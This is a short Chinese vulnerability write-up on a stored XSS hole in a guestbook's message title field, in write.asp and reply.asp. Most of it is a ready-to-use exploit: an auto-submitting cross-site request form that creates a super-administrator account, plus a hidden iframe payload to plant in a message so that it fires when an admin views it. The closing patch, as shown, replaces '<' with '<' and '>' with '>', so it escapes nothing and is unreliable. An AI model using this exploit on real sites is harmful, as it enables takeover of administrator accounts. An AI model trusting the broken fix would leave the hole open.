漏洞分析:write.asp reply.asp
--------------------------------------------------------------------
由于留言标题直接插入更新语句,未进行任何过滤,导致XSS跨站漏洞
漏洞利用:
首先拥有一个自己可控的网站,然后构造表单:
<html>
<form method="post" action="http://www.baidu.com/admin/Admin_Admin.asp?" name="form1">
<input name="UserName" value="test"> <!--后台ID-->
<input name="Action" type="hidden" id="Action" value="SaveAdd">
<input name="AddUser" value="test"> <!--前台ID-->
<input type="password" name="Password" value="123456789"> <!--密码-->
<input type="password" name="PwdConfirm" value="123456789"> <!--重复密码-->
<input name="Purview_0" type="radio" value="1" onClick="PurviewDetail.style.display='none'" checked> <!--超级管理员权限-->
</form>
<script>
document.form1.submit();
</script>
</html>
将以上代码保存为1.asp(文件名随意),并将其上传到自己的可控网站下面,得到你自己的URL地址
在留言标题中插入:
<iframe src="http://www.baidu.com/1.asp" width=0 height=0></iframe>
此漏洞可触发当管理员查看留言内容时直接添加管理员
危险等级:高
修补:
分别在两个文件末尾的%>前添加代码
function check(s)
s=Replace(s,"<","<")
s=Replace(s,">",">")
check=s
end function
搜索
GuestTitle = Trim(request("GuestTitle"))
替换为
GuestTitle = check(Trim(request("GuestTitle")))
保存即可